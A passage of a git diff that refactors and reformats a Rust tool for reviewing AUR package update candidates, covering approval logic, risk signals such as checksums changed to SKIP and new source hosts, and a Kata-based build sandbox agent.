- return Ok(Err(ApproveError::Stale(Stale::Identity { expected: ih.clone(), actual: subject.identity_hash })));
- }
- if subject.diff_digest != dd {
- return Ok(Err(ApproveError::Stale(Stale::Diff { expected: dd.clone(), actual: subject.diff_digest })));
- }
- if base != current_base {
- return Ok(Err(ApproveError::Stale(Stale::Base { expected: base, actual: current_base })));
- }
+ if !subject.state.is_open() {
+ return Ok(Err(ApproveError::Stale(Stale::NotPending { state: subject.state.to_string() })));
+ }
+ if subject.identity_hash != ih {
+ return Ok(Err(ApproveError::Stale(Stale::Identity {
+ expected: ih.clone(),
+ actual: subject.identity_hash,
+ })));
+ }
+ if subject.diff_digest != dd {
+ return Ok(Err(ApproveError::Stale(Stale::Diff { expected: dd.clone(), actual: subject.diff_digest })));
+ }
+ if base != current_base {
+ return Ok(Err(ApproveError::Stale(Stale::Base { expected: base, actual: current_base })));
+ }
- let approval_id = approvals::record_in(
- tx,
- &approvals::Decision {
+ let approval_id = approvals::record_in(
+ tx,
+ &approvals::Decision {
+ candidate_id: id,
+ base_release_id: base,
+ at: &at,
+ decision: "approved",
+ risk_level: &subject.risk_level,
+ diff_digest: &dd,
+ identity_hash: &ih,
+ note: note.as_deref(),
+ },
+ )?;
+ candidates::resolve_in(tx, id, CandidateState::Approved, &at)?;
+ db::audit_in(
+ tx,
+ &db::AuditEntry::human(
+ &at,
+ &actor,
+ "approve",
+ "candidate",
+ &id.to_string(),
+ serde_json::json!({"approval": approval_id, "identity": ih, "pkgbase_id": subject.pkgbase_id}),
+ ),
+ )?;
+ Ok(Ok(Approval {
+ id: approval_id,
candidate_id: id,
base_release_id: base,
- at: &at,
- decision: "approved",
- risk_level: &subject.risk_level,
- diff_digest: &dd,
- identity_hash: &ih,
- note: note.as_deref(),
- },
- )?;
- candidates::resolve_in(tx, id, CandidateState::Approved, &at)?;
- db::audit_in(
- tx,
- &db::AuditEntry::human(
- &at,
- &actor,
- "approve",
- "candidate",
- &id.to_string(),
- serde_json::json!({"approval": approval_id, "identity": ih, "pkgbase_id": subject.pkgbase_id}),
- ),
- )?;
- Ok(Ok(Approval {
- id: approval_id,
- candidate_id: id,
- base_release_id: base,
- decision: "approved".into(),
- diff_digest: dd,
- identity_hash: ih,
- }))
- })
- .map_err(ApproveError::System)?
+ decision: "approved".into(),
+ diff_digest: dd,
+ identity_hash: ih,
+ }))
+ })
+ .map_err(ApproveError::System)?
}
pub fn reject(db: &Db, actor: &str, candidate_id: i64, note: &str) -> Result<()> {
@@ -111,7 +115,12 @@ pub fn reject(db: &Db, actor: &str, candidate_id: i64, note: &str) -> Result<()>
let state = candidates::state_in(tx, candidate_id)?
.ok_or_else(|| Error::not_found(Missing::Candidate(candidate_id)))?;
if !state.is_open() {
- return Err(Error::conflict(Refused::WrongState { entity: "candidate", id: candidate_id.to_string(), found: state.to_string(), expected: "pending" }));
+ return Err(Error::conflict(Refused::WrongState {
+ entity: "candidate",
+ id: candidate_id.to_string(),
+ found: state.to_string(),
+ expected: "pending",
+ }));
}
let identity = candidates::identity_in(tx, candidate_id)?
.ok_or_else(|| Error::not_found(Missing::Candidate(candidate_id)))?;
@@ -141,7 +150,7 @@ pub struct BulkItem {
impl BulkItem {
pub fn pkgbase(&self) -> &str {
- self.candidate.as_ref().map(|c| c.pkgbase.as_str()).unwrap_or("(gone)")
+ self.candidate.as_ref().map_or("(gone)", |c| c.pkgbase.as_str())
}
}
@@ -157,7 +166,7 @@ pub enum BulkOutcome {
/// only way to reach it, and the alias is what carries the
/// feature-conditional visibility.
mod bulk_refusal {
- use super::*;
+ use super::{Error, Stale};
#[derive(Debug, thiserror::Error)]
pub enum BulkRefusal {
diff --git a/src/review/candidates.rs b/src/review/candidates.rs
index 236f85b..f90b1ef 100644
--- a/src/review/candidates.rs
+++ b/src/review/candidates.rs
@@ -2,8 +2,8 @@ use crate::db::{self, candidates as sql, Db, Pkgbase, ReleaseRow};
use crate::error::Result;
pub use crate::db::candidates::{
- all as all_candidates, by_id as candidate_by_id, mark_viewed, pending as pending_candidates,
- set_diff_digest, NewCandidate,
+ all as all_candidates, by_id as candidate_by_id, mark_viewed, pending as pending_candidates, set_diff_digest,
+ NewCandidate,
};
#[derive(Debug, Clone, PartialEq, Eq)]
@@ -15,8 +15,14 @@ pub enum Upsert {
Unchanged,
}
-pub(crate) fn upsert_candidate(db: &Db, pb: &Pkgbase, accepted: Option<&ReleaseRow>, nc: &NewCandidate) -> Result<Upsert> {
- let kind = if accepted.is_some() { db::candidate_kind::NEW_VERSION } else { db::candidate_kind::FIRST_INTRODUCTION };
+pub(crate) fn upsert_candidate(
+ db: &Db,
+ pb: &Pkgbase,
+ accepted: Option<&ReleaseRow>,
+ nc: &NewCandidate,
+) -> Result<Upsert> {
+ let kind =
+ if accepted.is_some() { db::candidate_kind::NEW_VERSION } else { db::candidate_kind::FIRST_INTRODUCTION };
let base = accepted.map(|a| a.id);
let pkgbase_id = pb.id;
let nc = nc.clone();
diff --git a/src/review/diff.rs b/src/review/diff.rs
index 39d9066..f997b3c 100644
--- a/src/review/diff.rs
+++ b/src/review/diff.rs
@@ -1,7 +1,8 @@
use crate::config::Config;
-use crate::db::{self, *};
+use crate::db::{self, CandidateRow, Db, Recipe, ReleaseRow, SourceDigest, UpstreamPin};
use crate::error::Result;
use crate::git;
+use std::fmt::Write as _;
#[derive(Debug, Clone)]
pub struct Panel {
@@ -31,9 +32,7 @@ pub fn panels(cfg: &Config, db: &Db, c: &CandidateRow, base: Option<&ReleaseRow>
}
out.push(digest_delta(base, c));
out.push(pin_delta(base, c));
- let old_recipe = recipe_of(db, base.candidate_id.and_then(|cid| {
- candidate_snapshot_id(db, cid)
- }));
+ let old_recipe = recipe_of(db, base.candidate_id.and_then(|cid| candidate_snapshot_id(db, cid)));
let new_recipe = recipe_of(db, Some(c.snapshot_id));
if let (Some(old), Some(new)) = (&old_recipe, &new_recipe) {
out.push(source_delta(old, new));
@@ -45,9 +44,7 @@ pub fn panels(cfg: &Config, db: &Db, c: &CandidateRow, base: Option<&ReleaseRow>
out.push(Panel {
name: "recipe_full",
title: "Full recipe",
- body: snap
- .map(|s| s.srcinfo_json.clone())
- .unwrap_or_else(|| "(no snapshot)".into()),
+ body: snap.map_or_else(|| "(no snapshot)".into(), |s| s.srcinfo_json.clone()),
});
}
Ok(out)
@@ -67,27 +64,27 @@ fn source_delta(old: &Recipe, new: &Recipe) -> Panel {
let mut body = String::new();
for s in &new.source {
if !old.source.contains(s) {
- body.push_str(&format!("+ {s}\n"));
+ let _ = writeln!(body, "+ {s}");
}
}
for s in &old.source {
if !new.source.contains(s) {
- body.push_str(&format!("- {s}\n"));
+ let _ = writeln!(body, "- {s}");
}
}
let old_hosts = crate::urlutil::hosts(&old.source);
let new_hosts = crate::urlutil::hosts(&new.source);
for h in new_hosts.difference(&old_hosts) {
- body.push_str(&format!("! new source host: {h}\n"));
+ let _ = writeln!(body, "! new source host: {h}");
}
for h in old_hosts.difference(&new_hosts) {
- body.push_str(&format!("! source host gone: {h}\n"));
+ let _ = writeln!(body, "! source host gone: {h}");
}
for (i, sum) in new.sha256sums.iter().enumerate() {
if sum.eq_ignore_ascii_case("SKIP") {
match old.sha256sums.get(i) {
Some(prev) if prev != "SKIP" && !prev.is_empty() => {
- body.push_str(&format!("! [{i}] checksum removed (was {prev}, now SKIP)\n"))
+ let _ = writeln!(body, "! [{i}] checksum removed (was {prev}, now SKIP)");
}
_ => {}
}
@@ -115,10 +112,10 @@ fn dependency_delta(old: &Recipe, new: &Recipe) -> Panel {
let oset: std::collections::BTreeSet<String> = crate::pkgver::dep_names(o).into_iter().collect();
let nset: std::collections::BTreeSet<String> = crate::pkgver::dep_names(n).into_iter().collect();
for d in nset.difference(&oset) {
- body.push_str(&format!("+ {label}: {d}\n"));
+ let _ = writeln!(body, "+ {label}: {d}");
}
for d in oset.difference(&nset) {
- body.push_str(&format!("- {label}: {d}\n"));
+ let _ = writeln!(body, "- {label}: {d}");
}
}
if !old.checkdepends.is_empty() && new.checkdepends.is_empty() {
@@ -131,34 +128,34 @@ fn build_env_delta(old: &Recipe, new: &Recipe) -> Panel {
let mut body = String::new();
for o in &new.options {
if !old.options.contains(o) {
- body.push_str(&format!("+ options: {o}\n"));
+ let _ = writeln!(body, "+ options: {o}");
}
}
for o in &old.options {
if !new.options.contains(o) {
- body.push_str(&format!("- options: {o}\n"));
+ let _ = writeln!(body, "- options: {o}");
}
}
for a in &new.arch {
if !old.arch.contains(a) {
- body.push_str(&format!("+ arch: {a}\n"));
+ let _ = writeln!(body, "+ arch: {a}");
}
}
for a in &old.arch {
if !new.arch.contains(a) {
- body.push_str(&format!("- arch: {a}\n"));
+ let _ = writeln!(body, "- arch: {a}");
}
}
if old.pkgbase != new.pkgbase {
- body.push_str(&format!("! pkgbase renamed: {} -> {}\n", old.pkgbase, new.pkgbase));
+ let _ = writeln!(body, "! pkgbase renamed: {} -> {}", old.pkgbase, new.pkgbase);
}
let old_set: std::collections::BTreeSet<String> = old.pkgnames.iter().cloned().collect();
let new_set: std::collections::BTreeSet<String> = new.pkgnames.iter().cloned().collect();
for p in new_set.difference(&old_set) {
- body.push_str(&format!("+ split package: {p}\n"));
+ let _ = writeln!(body, "+ split package: {p}");
}
for p in old_set.difference(&new_set) {
- body.push_str(&format!("- split package: {p}\n"));
+ let _ = writeln!(body, "- split package: {p}");
}
Panel { name: "buildenv", title: "Build-env delta", body }
}
@@ -166,9 +163,15 @@ fn build_env_delta(old: &Recipe, new: &Recipe) -> Panel {
fn install_delta(old: &Recipe, new: &Recipe) -> Panel {
let mut body = String::new();
match (&old.install, &new.install) {
- (None, Some(f)) => body.push_str(&format!("+ install script added: {f}\n")),
- (Some(f), None) => body.push_str(&format!("- install script removed: {f}\n")),
- (Some(a), Some(b)) if a != b => body.push_str(&format!("! install script changed: {a} -> {b}\n")),
+ (None, Some(f)) => {
+ let _ = writeln!(body, "+ install script added: {f}");
+ }
+ (Some(f), None) => {
+ let _ = writeln!(body, "- install script removed: {f}");
+ }
+ (Some(a), Some(b)) if a != b => {
+ let _ = writeln!(body, "! install script changed: {a} -> {b}");
+ }
_ => {}
}
if crate::recipe::bodies_changed(&old.pkgbuild, &new.pkgbuild) {
@@ -182,18 +185,20 @@ fn version_delta(base: Option<&ReleaseRow>, c: &CandidateRow) -> Panel {
match base {
Some(b) => {
let (bv, cv) = (b.version(), c.version());
- body.push_str(&format!("{bv} -> {cv}\n"));
+ let _ = writeln!(body, "{bv} -> {cv}");
if b.epoch != c.epoch {
- body.push_str(&format!("epoch bump: {} -> {}\n", b.epoch, c.epoch));
+ let _ = writeln!(body, "epoch bump: {} -> {}", b.epoch, c.epoch);
}
if b.pkgrel != c.pkgrel && b.pkgver == c.pkgver {
- body.push_str(&format!("pkgrel change: {} -> {}\n", b.pkgrel, c.pkgrel));
+ let _ = writeln!(body, "pkgrel change: {} -> {}", b.pkgrel, c.pkgrel);
}
if crate::pkgver::is_downgrade(&bv, &cv) {
body.push_str("DOWNGRADE: AUR now offers a lower version than we serve\n");
}
}
- None => body.push_str(&format!("first introduction: {}\n", c.version())),
+ None => {
+ let _ = writeln!(body, "first introduction: {}", c.version());
+ }
}
Panel { name: "version", title: "Version delta", body }
}
@@ -205,24 +210,32 @@ fn digest_delta(base: &ReleaseRow, c: &CandidateRow) -> Panel {
for n in &new {
match old.iter().find(|o| o.index == n.index) {
Some(o) if o.digest != n.digest => {
- body.push_str(&format!(
- "! [{}] {} {} -> {}\n",
- n.index, n.url, short(&o.digest), short(&n.digest)
- ));
+ let _ = writeln!(body, "! [{}] {} {} -> {}", n.index, n.url, short(&o.digest), short(&n.digest));
+ }
+ Some(_) => {
+ let _ = writeln!(body, " [{}] {} unchanged", n.index, n.url);
+ }
+ None => {
+ let _ = writeln!(
+ body,
+ "+ [{}] {} NEW ({}{})",
+ n.index,
+ n.url,
+ n.kind,
+ if n.skip_declared && !n.is_vcs() {
+ ", sha256sums=SKIP"
+ } else if n.is_vcs() {
+ ", pinned commit"
+ } else {
+ ""
+ }
+ );
}
- Some(_) => body.push_str(&format!(" [{}] {} unchanged\n", n.index, n.url)),
- None => body.push_str(&format!(
- "+ [{}] {} NEW ({}{})\n",
- n.index,
- n.url,
- n.kind,
- if n.skip_declared && !n.is_vcs() { ", sha256sums=SKIP" } else if n.is_vcs() { ", pinned commit" } else { "" }
- )),
}
}
for o in &old {
if !new.iter().any(|n| n.index == o.index) {
- body.push_str(&format!("- [{}] {} REMOVED\n", o.index, o.url));
+ let _ = writeln!(body, "- [{}] {} REMOVED", o.index, o.url);
}
}
Panel { name: "digests", title: "Source digest delta", body }
@@ -238,26 +251,39 @@ fn pin_delta(base: &ReleaseRow, c: &CandidateRow) -> Panel {
for n in &new {
match old.iter().find(|o| o.index == n.index) {
Some(o) if o.commit != n.commit => {
- body.push_str(&format!(
- "! [{}] {} {} -> {} (branch {})\n",
- n.index, n.url, short(&o.commit), short(&n.commit), n.branch.as_deref().unwrap_or("?")
- ));
+ let _ = writeln!(
+ body,
+ "! [{}] {} {} -> {} (branch {})",
+ n.index,
+ n.url,
+ short(&o.commit),
+ short(&n.commit),
+ n.branch.as_deref().unwrap_or("?")
+ );
+ }
+ Some(_) => {
+ let _ = writeln!(body, " [{}] {} unchanged", n.index, n.url);
+ }
+ None => {
+ let _ = writeln!(body, "+ [{}] {} at {}", n.index, n.url, short(&n.commit));
}
- Some(_) => body.push_str(&format!(" [{}] {} unchanged\n", n.index, n.url)),
- None => body.push_str(&format!("+ [{}] {} at {}\n", n.index, n.url, short(&n.commit))),
}
}
Panel { name: "upstream", title: "Upstream delta", body }
}
fn short(s: &str) -> String {
- if s.len() > 12 { s[..12].to_string() } else { s.to_string() }
+ if s.len() > 12 {
+ s[..12].to_string()
+ } else {
+ s.to_string()
+ }
}
pub fn render_text(ps: &[Panel]) -> String {
let mut s = String::new();
for p in ps {
- s.push_str(&format!("### {}\n{}\n", p.title, p.body));
+ let _ = write!(s, "### {}\n{}\n", p.title, p.body);
}
s
}
diff --git a/src/review/intake.rs b/src/review/intake.rs
index 7d84544..78e4eb6 100644
--- a/src/review/intake.rs
+++ b/src/review/intake.rs
@@ -11,7 +11,11 @@
//! and review decides what a candidate means.
use crate::config::Config;
-use crate::db::{self, model::*, Db, Pkgbase};
+use crate::db::{
+ self,
+ model::{Recipe, ReleaseRow, SourceDigest},
+ Db, Pkgbase,
+};
use crate::error::Result;
use crate::review::candidates::{self, NewCandidate, Upsert};
use crate::review::risk;
@@ -47,19 +51,14 @@ pub fn record(
/// published yet — the reason a build would fail on a missing dep, said before
/// it runs.
fn missing_deps(db: &Db, pb: &Pkgbase, recipe: &Recipe) -> Vec<String> {
- let ours = match db::our_package_names(db) {
- Ok(o) => o,
- Err(_) => return Vec::new(),
- };
+ let Ok(ours) = db::our_package_names(db) else { return Vec::new() };
let mut out = Vec::new();
for dep in crate::pkgver::dep_names(&recipe.depends) {
if ours.contains(&dep) || dep == pb.name || recipe.pkgnames.contains(&dep) {
continue;
}
- let ours_to_publish = db::get_subscription(db, &dep)
- .map(|s| s.is_some())
- .unwrap_or(false)
- || db::get_pkgbase(db, &dep).map(|p| p.is_some()).unwrap_or(false);
+ let ours_to_publish = db::get_subscription(db, &dep).is_ok_and(|s| s.is_some())
+ || db::get_pkgbase(db, &dep).is_ok_and(|p| p.is_some());
if ours_to_publish {
out.push(dep);
}
diff --git a/src/review/risk.rs b/src/review/risk.rs
index e48ca24..4c9575f 100644
--- a/src/review/risk.rs
+++ b/src/review/risk.rs
@@ -1,4 +1,8 @@
-use crate::db::{self, model::*, Db};
+use crate::db::{
+ self,
+ model::{Recipe, ReleaseRow, SourceDigest, UpstreamPin},
+ Db,
+};
use crate::error::Result;
use crate::pkgver;
@@ -22,8 +26,17 @@ pub mod level {
const FETCHING_BUILD_TOOLS: &[&str] = &["cargo", "npm", "go", "pip", "python", "ruby", "deno", "rust", "nodejs"];
const BUILD_SYSTEM_FILES: &[&str] = &[
- "Cargo.toml", "Cargo.lock", "package.json", "setup.py", "pyproject.toml", "Makefile", "CMakeLists.txt",
- "meson.build", "go.mod", "Gemfile", "build.gradle",
+ "Cargo.toml",
+ "Cargo.lock",
+ "package.json",
+ "setup.py",
+ "pyproject.toml",
+ "Makefile",
+ "CMakeLists.txt",
+ "meson.build",
+ "go.mod",
+ "Gemfile",
+ "build.gradle",
];
#[derive(Debug, Clone, Default)]
@@ -32,8 +45,7 @@ pub(crate) struct Assessment {
pub signals: Vec<String>,
}
-impl Assessment {
-}
+impl Assessment {}
pub(crate) fn assess(
db: &Db,
@@ -94,7 +106,7 @@ pub(crate) fn assess(
}
fn accepted_pins(accepted: Option<&ReleaseRow>) -> Vec<UpstreamPin> {
- accepted.map(|a| a.pins()).unwrap_or_default()
+ accepted.map_or_default(super::super::db::model::ReleaseRow::pins)
}
fn compare_recipes(old: &Recipe, new: &Recipe, s: &mut SignalSet) {
@@ -120,9 +132,7 @@ fn compare_recipes(old: &Recipe, new: &Recipe, s: &mut SignalSet) {
for (i, sum) in new.sha256sums.iter().enumerate() {
if sum.eq_ignore_ascii_case("SKIP") {
match old.sha256sums.get(i) {
- Some(prev) if prev != "SKIP" && !prev.is_empty() => {
- s.add(&format!("sums-to-skip:{i}"), level::HIGH)
- }
+ Some(prev) if prev != "SKIP" && !prev.is_empty() => s.add(&format!("sums-to-skip:{i}"), level::HIGH),
_ => {}
}
}
@@ -172,7 +182,7 @@ fn upstream_touches_build_system(cfg: &crate::config::Config, from: &str, to: &s
return false;
}
let range = format!("{from}..{to}");
- for dir in std::fs::read_dir(&cache).into_iter().flatten().filter_map(|d| d.ok()) {
+ for dir in std::fs::read_dir(&cache).into_iter().flatten().filter_map(std::result::Result::ok) {
let path = dir.path();
if let Ok(files) = crate::git::git(Some(&path), &["diff", "--name-only", &range]) {
if files.lines().any(|f| BUILD_SYSTEM_FILES.iter().any(|b| f.ends_with(b))) {
diff --git a/src/sandbox/agent.rs b/src/sandbox/agent.rs
index 3eaa799..fa813cf 100644
--- a/src/sandbox/agent.rs
+++ b/src/sandbox/agent.rs
@@ -22,17 +22,10 @@ pub struct AgentOptions {
pub fn serve(opts: &AgentOptions) -> Result<()> {
let stream = connect_with_retry(&opts.hub, Duration::from_secs(15))?;
- let agent_id = opts
- .agent_id
- .clone()
- .unwrap_or_else(|| format!("sandbox-{}", std::process::id()));
+ let agent_id = opts.agent_id.clone().unwrap_or_else(|| format!("sandbox-{}", std::process::id()));
wire::write_frame(
&mut stream.try_clone()?,
- &Frame::Hello {
- token: opts.token.clone(),
- agent_id: agent_id.clone(),
- profiles: vec![opts.profile.clone()],
- },
+ &Frame::Hello { token: opts.token.clone(), agent_id: agent_id.clone(), profiles: vec![opts.profile.clone()] },
)?;
let mut reader = BufReader::new(stream.try_clone()?);
@@ -50,8 +43,7 @@ pub fn serve(opts: &AgentOptions) -> Result<()> {
let child = Arc::new(Mutex::new(None::<u32>));
let alive = Arc::new(AtomicBool::new(true));
{
- let (last, child, alive, ttl) =
- (last_inbound.clone(), child.clone(), alive.clone(), ttl);
+ let (last, child, alive, ttl) = (last_inbound.clone(), child.clone(), alive.clone(), ttl);
std::thread::spawn(crate::time::inherit(move || loop {
crate::time::sleep(Duration::from_secs(1));
let quiet = last.lock().unwrap().elapsed();
@@ -102,17 +94,12 @@ pub fn serve(opts: &AgentOptions) -> Result<()> {
outcome
}
-fn handle(
- frame: Frame,
- writer: &Arc<Mutex<TcpStream>>,
- blobs: &Path,
- child: &Arc<Mutex<Option<u32>>>,
-) -> Result<bool> {
+fn handle(frame: Frame, writer: &Arc<Mutex<TcpStream>>, blobs: &Path, child: &Arc<Mutex<Option<u32>>>) -> Result<bool> {
match frame {
Frame::Destroy {} => Ok(true),
Frame::Ping {} => Ok(false),
Frame::Put { req, digest, data } => {
- let bytes = wire::unhex(&data).map_err(io_err)?;
+ let bytes = wire::unhex(&data).map_err(|e| Error::other(e.to_string()))?;
if crate::hash::hex(&bytes) != digest {
reply(writer, req, Err("put: data does not hash to the claimed digest"))?;
return Ok(false);
@@ -121,16 +108,18 @@ fn handle(
reply(writer, req, Ok(()))?;
Ok(false)
}
- Frame::Get { req, digest } => match std::fs::read(safe_blob_path(blobs, &digest)?) {
- Ok(bytes) => {
- wire::write_frame(writer.lock().unwrap().deref_mut(), &Frame::Blob { req, data: wire::hex_bytes(&bytes) })?;
+ Frame::Get { req, digest } => {
+ if let Ok(bytes) = std::fs::read(safe_blob_path(blobs, &digest)?) {
+ wire::write_frame(
+ writer.lock().unwrap().deref_mut(),
+ &Frame::Blob { req, data: wire::hex_bytes(&bytes) },
+ )?;
Ok(false)
- }
- Err(_) => {
+ } else {
reply(writer, req, Err("get: no such blob"))?;
Ok(false)
}
- },
+ }
Frame::Run { req, argv, cwd, env } => {
run_child(req, argv, cwd, env, writer, blobs, child)?;
Ok(false)
@@ -149,16 +138,14 @@ fn run_child(
child: &Arc<Mutex<Option<u32>>>,
) -> Result<()> {
let mut argv = argv;
- for a in argv.iter_mut() {
+ for a in &mut argv {
if let Some(digest) = a.strip_prefix("blob:") {
*a = safe_blob_path(blobs, digest)?.display().to_string();
}
}
let program = argv.first().ok_or_else(|| Error::invalid("run: empty argv"))?;
let mut c = std::process::Command::new(program);
- c.args(&argv[1..])
- .stdout(Stdio::piped())
- .stderr(Stdio::piped());
+ c.args(&argv[1..]).stdout(Stdio::piped()).stderr(Stdio::piped());
if let Some(dir) = cwd {
c.current_dir(dir);
}
@@ -205,10 +192,7 @@ fn run_child(
}
let status = proc.wait()?;
*child.lock().unwrap() = None;
- wire::write_frame(
- writer.lock().unwrap().deref_mut(),
- &Frame::Exit { req, code: status.code() },
- )?;
+ wire::write_frame(writer.lock().unwrap().deref_mut(), &Frame::Exit { req, code: status.code() })?;
Ok(())
}
@@ -246,8 +230,4 @@ fn safe_blob_path(blobs: &Path, digest: &str) -> Result<PathBuf> {
Ok(blobs.join(digest))
}
-fn io_err(e: std::io::Error) -> Error {
- Error::other(e.to_string())
-}
-
use std::ops::DerefMut;
diff --git a/src/sandbox/kata.rs b/src/sandbox/kata.rs
index cfc3bd6..ca39c6b 100644
--- a/src/sandbox/kata.rs
+++ b/src/sandbox/kata.rs
@@ -77,11 +77,9 @@ fn sandbox_cr(req: &ProvisionRequest) -> serde_json::Value {
impl K8sSandboxProvisioner {
fn for_config(cfg: &Config) -> Option<Self> {
match &cfg.sandbox {
- crate::config::Sandbox::AgentSandbox { api, namespace, bearer, .. } => Some(Self {
- api: api.clone(),
- namespace: namespace.clone(),
- bearer: bearer.clone(),
- }),
+ crate::config::Sandbox::AgentSandbox { api, namespace, bearer, .. } => {
+ Some(Self { api: api.clone(), namespace: namespace.clone(), bearer: bearer.clone() })
+ }
_ => None,
}
}
@@ -120,7 +118,7 @@ impl Provisioner for K8sSandboxProvisioner {
Ok(())
}
- fn name(&self) -> &str {
+ fn name(&self) -> &'static str {
"k8s-sandbox-crd"
}
}
@@ -173,7 +171,7 @@ impl Provisioner for LocalAgentProvisioner {
Ok(())
}
- fn name(&self) -> &str {
+ fn name(&self) -> &'static str {
"local-agent"
}
}
@@ -182,7 +180,11 @@ impl Provisioner for LocalAgentProvisioner {
/// is not a nameable path from outside; the alias below is the only way to
/// reach it, and the alias is what carries the feature-conditional visibility.
mod kata_backend {
- use super::*;
+ use super::{
+ bounded, route_dial_in, wire, Arc, AtomicU64, Config, Duration, Error, Frame, HashMap, K8sSandboxProvisioner,
+ Mutex, OnceLock, Ordering, PoolFull, ProvisionRequest, Provisioner, Receiver, RemoteSandbox, Result, Sandbox,
+ SandboxBackend, SandboxInfo, SandboxSpec, Sender, TcpListener, TcpStream,
+ };
pub struct KataBackend {
cfg: Config,
@@ -198,22 +200,19 @@ mod kata_backend {
let crate::config::Sandbox::AgentSandbox { api, namespace, bearer, image, listen, token, .. } =
&cfg.sandbox
else {
- return Err(Error::invalid(
- "KataBackend::shared_for needs an agent-sandbox configuration",
- ));
+ return Err(Error::invalid("KataBackend::shared_for needs an agent-sandbox configuration"));
};
- let key = crate::hash::hex(
- format!("{listen}\n{token}\n{api}\n{namespace}\n{bearer}\n{image}").as_bytes(),
- );
+ let key = crate::hash::hex(format!("{listen}\n{token}\n{api}\n{namespace}\n{bearer}\n{image}").as_bytes());
static CACHE: OnceLock<Mutex<HashMap<String, Arc<KataBackend>>>> = OnceLock::new();
let cache = CACHE.get_or_init(|| Mutex::new(HashMap::new()));
- let mut guard = cache.lock().unwrap_or_else(|p| p.into_inner());
+ let mut guard = cache.lock().unwrap_or_else(std::sync::PoisonError::into_inner);
if let Some(existing) = guard.get(&key) {
return Ok(existing.clone());
}
- let provisioner = Arc::new(K8sSandboxProvisioner::for_config(cfg).ok_or_else(|| {
- Error::invalid("KataBackend::shared_for needs an agent-sandbox configuration")
- })?);
+ let provisioner = Arc::new(
+ K8sSandboxProvisioner::for_config(cfg)
+ .ok_or_else(|| Error::invalid("KataBackend::shared_for needs an agent-sandbox configuration"))?,
+ );
let backend = Arc::new(Self::bind(cfg, listen, token, provisioner)?);
guard.insert(key, backend.clone());
Ok(backend)
@@ -230,12 +229,7 @@ mod kata_backend {
}
}
- pub fn bind(
- cfg: &Config,
- listen: &str,
- token: &str,
- provisioner: Arc<dyn Provisioner>,
- ) -> Result<Self> {
+ pub fn bind(cfg: &Config, listen: &str, token: &str, provisioner: Arc<dyn Provisioner>) -> Result<Self> {
let listener = TcpListener::bind(listen)?;
let addr = listener.local_addr()?.to_string();
let pending: Arc<Mutex<HashMap<String, Sender<TcpStream>>>> = Arc::new(Mutex::new(HashMap::new()));
@@ -267,10 +261,7 @@ mod kata_backend {
fn nonce(&self) -> String {
let n = self.counter.fetch_add(1, Ordering::SeqCst);
- let nanos = std::time::SystemTime::now()
- .duration_since(std::time::UNIX_EPOCH)
- .map(|d| d.as_nanos())
- .unwrap_or(0);
+ let nanos = std::time::SystemTime::now().duration_since(std::time::UNIX_EPOCH).map_or(0, |d| d.as_nanos());
crate::hash::hex_str(&format!("{}-{n}-{nanos}", std::process::id()))[..20].to_string()
}
}
@@ -285,19 +276,13 @@ mod kata_backend {
self.pending.lock().unwrap().remove(&id);
return Err(e);
}
- let stream = match rx.recv_timeout(spec.ttl) {
- Ok(s) => s,
- Err(_) => {
- self.pending.lock().unwrap().remove(&id);
- let _ = self.provisioner.reclaim(&id);
- return Err(Error::pool_exhausted(PoolFull::Backend {
- backend: "kata",
- detail: format!(
- "sandbox {id} for profile {} never dialed in within its TTL",
- spec.profile
- ),
- }));
- }
+ let Ok(stream) = rx.recv_timeout(spec.ttl) else {
+ self.pending.lock().unwrap().remove(&id);
+ let _ = self.provisioner.reclaim(&id);
+ return Err(Error::pool_exhausted(PoolFull::Backend {
+ backend: "kata",
+ detail: format!("sandbox {id} for profile {} never dialed in within its TTL", spec.profile),
+ }));
};
let ttl = spec.ttl.max(Duration::from_secs(1));
wire::write_frame(&mut stream.try_clone()?, &Frame::HelloAck { ttl_secs: ttl.as_secs() })?;
@@ -322,11 +307,7 @@ pub use kata_backend::KataBackend;
#[cfg(not(feature = "test-support"))]
pub(crate) use kata_backend::KataBackend;
-fn route_dial_in(
- stream: TcpStream,
- token: &str,
- pending: &Arc<Mutex<HashMap<String, Sender<TcpStream>>>>,
-) {
+fn route_dial_in(stream: TcpStream, token: &str, pending: &Arc<Mutex<HashMap<String, Sender<TcpStream>>>>) {
let _ = stream.set_read_timeout(Some(Duration::from_secs(10)));
let mut reader = match stream.try_clone() {
Ok(s) => BufReader::new(s),
@@ -361,8 +342,10 @@ mod tests {
fn the_cr_asks_kata_for_a_vm_that_dies_on_its_own_by_ttl() {
let cr = sandbox_cr(&req());
assert_eq!(cr["spec"]["runtimeClass"], "kata");
- assert_eq!(cr["spec"]["activeDeadlineSeconds"], 120,
- "the orchestrator must enforce the TTL even if the hub dies");
+ assert_eq!(
+ cr["spec"]["activeDeadlineSeconds"], 120,
+ "the orchestrator must enforce the TTL even if the hub dies"
+ );
assert_eq!(cr["spec"]["shutdownPolicy"], "Delete");
let args = cr["spec"]["template"]["spec"]["containers"][0]["args"]
.as_array()
@@ -455,17 +438,15 @@ mod tests {
fn reclaim(&self, _id: &str) -> Result<()> {
Ok(())
}
- fn name(&self) -> &str {
+ fn name(&self) -> &'static str {
"null"
}
}
let cfg = Config::default();
- let backend =
- KataBackend::bind(&cfg, "127.0.0.1:0", "tok", Arc::new(NullProvisioner)).unwrap();
+ let backend = KataBackend::bind(&cfg, "127.0.0.1:0", "tok", Arc::new(NullProvisioner)).unwrap();
let started = std::time::Instant::now();
- let err = match backend.acquire(&SandboxSpec::new("extra-x86_64", "ghost", Duration::from_secs(1))) {
- Ok(_) => panic!("nobody provisioned anything; the lease must not succeed"),
- Err(e) => e,
+ let Err(err) = backend.acquire(&SandboxSpec::new("extra-x86_64", "ghost", Duration::from_secs(1))) else {
+ panic!("nobody provisioned anything; the lease must not succeed")
};
assert!(started.elapsed() >= Duration::from_millis(900), "acquire gave up before the TTL");
assert!(err.to_string().contains("never dialed in"), "{err}");
@@ -495,7 +476,8 @@ mod tests {
bearer: std::env::var("AUR_KATA_TOKEN").unwrap_or_default(),
namespace: std::env::var("AUR_KATA_NS").unwrap_or_else(|_| "default".into()),
});
- let backend = KataBackend::bind(&cfg, "0.0.0.0:9443", &std::env::var("AUR_AGENT_TOKEN").unwrap(), prov).unwrap();
+ let backend =
+ KataBackend::bind(&cfg, "0.0.0.0:9443", &std::env::var("AUR_AGENT_TOKEN").unwrap(), prov).unwrap();
let sbx = backend
.acquire(&SandboxSpec::new("extra-x86_64", "live", Duration::from_secs(300)))
.expect("live kata sandbox should lease");
